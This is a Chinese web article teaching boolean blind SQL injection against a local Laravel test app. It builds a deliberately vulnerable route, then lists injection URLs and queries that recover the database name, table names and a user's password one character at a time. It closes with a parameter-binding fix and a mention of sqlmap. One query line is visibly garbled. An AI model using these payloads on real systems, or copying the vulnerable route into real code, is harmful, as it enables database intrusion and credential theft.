如何理解sql盲注原理是什么?
Admin 2022-12-06 群英技术资讯 1038 次浏览
今天就跟大家聊聊有关“如何理解sql盲注原理是什么?”的内容,可能很多人都不太了解,为了让大家认识和更进一步的了解,小编给大家总结了以下内容,希望这篇“如何理解sql盲注原理是什么?”文章能对大家有帮助。环境
composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env 修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello'); 登录后复制 创建漏洞
// routes/web.php
Route::get('/', function () {
$id = request()->id;
$user = \App\Models\User::whereRaw('id = '.$id)->first();
return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id 登录后复制 测试
http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1
// select * from users where id = 1 and 1=1 返回xxh
登录后复制 数据库名
猜出数据名长度
url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去
登录后复制 猜出数据库名
从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a`
`select * from users where id = 1 and substr(database(),1,1) =b`
// 一直循环下去 找到数据库名的第一个做字符 然后找第二个字符 直到找完数据库名的长度
登录后复制 最终: laravel_project
表名
以下的步骤和猜数据库差不多,就简说了。
information_schema
information_schema 是 mysql 自带的,
数据库名 表名 列类型 等都有记录,猜表 字段明需要从这个数据库来。
猜 laravel_project 的表数量
url: http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
| 5 |
+----------+
登录后复制 猜第一个表名的长度
与 [猜出数据名长度] 此不多。
猜第一个表名
url: http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f |
+------------------------+
// 得出第一个表的第一个字段是f 然后查第
登录后复制 最终得出第一个表名称为: failed_jobs
猜字段
和猜表一模一样的逻辑。
select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; // fail_jobs字段总数
登录后复制 猜数据
数据这才是最重要的。
因为 failed_jobs 没数据,所以我换成 users 来。
users 有个 password 字段。
mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注
登录后复制 ……
防御
(有时候 where 不满足需求,就需要 whereRaw)
如果需要,记得绑定就好。
Route::get('/', function () {
$id = request()->id;
$user = \App\Models\User::whereRaw('id = ?',[$id])->first();
return $user->name ?? '';
}); 登录后复制 只要安份的用框架,不会会漏洞的。
那些老项目,漏洞满地飞。
现在这个时代,找漏洞难登天。
Ps
上面为了讲解简单,用是最简单的查找。
手工盲注应该用二分查找。
select * from users where id = 1 and substr(database(),1,1) ='a';
换成二分:
select * from users where id = 1 and ascii(substr(database(),1,1)) > 99;
登录后复制 最好还是直接借助工具 sqlmap, 直接扫出来。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。
猜你喜欢
php5和php7的区别有哪些?本文会从多方面对比php5和php7,对大家了解php5和php7的区别有一定帮助,感兴趣的朋友就跟随小编一起看看吧。
php中shuffle()函数的用法:1、定义,shuffle()函数是将列表的所有元素随机排序;2、语法shuffle(array);3、参数,Array;4、返回值,如果成功则返回 TRUE,如果失败则返回 FALSE。
php laravel框架自带命令的实现:1、作为服务提供者加载到程序中,laravel自带的artisan命令;2、然后找到 Up/Down命令入口;3、DownCommand实现,关键在当前存储目录/framework 下面创建。
这次我们看看如何获取两个整数的所有公因数,并求最大公因(约)数,感兴趣的朋友可以学习了解一下~
本文实例讲述了Thinkphp 框架扩展之标签库驱动原理与用法。下文有详细的介绍,小编觉得挺实用的,对大家学习或工作或许有帮助,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
成为群英会员,开启智能安全云计算之旅
立即注册关注或联系群英网络
7x24小时售前:400-678-4567
7x24小时售后:0668-2555666
24小时QQ客服
群英微信公众号
CNNIC域名投诉举报处理平台
服务电话:010-58813000
服务邮箱:service@cnnic.cn
投诉与建议:0668-2555555
Copyright © QY Network Company Ltd. All Rights Reserved. 2003-2020 群英 版权所有
增值电信经营许可证 : B1.B2-20140078 ICP核准(ICP备案)粤ICP备09006778号 域名注册商资质 粤 D3.1-20240008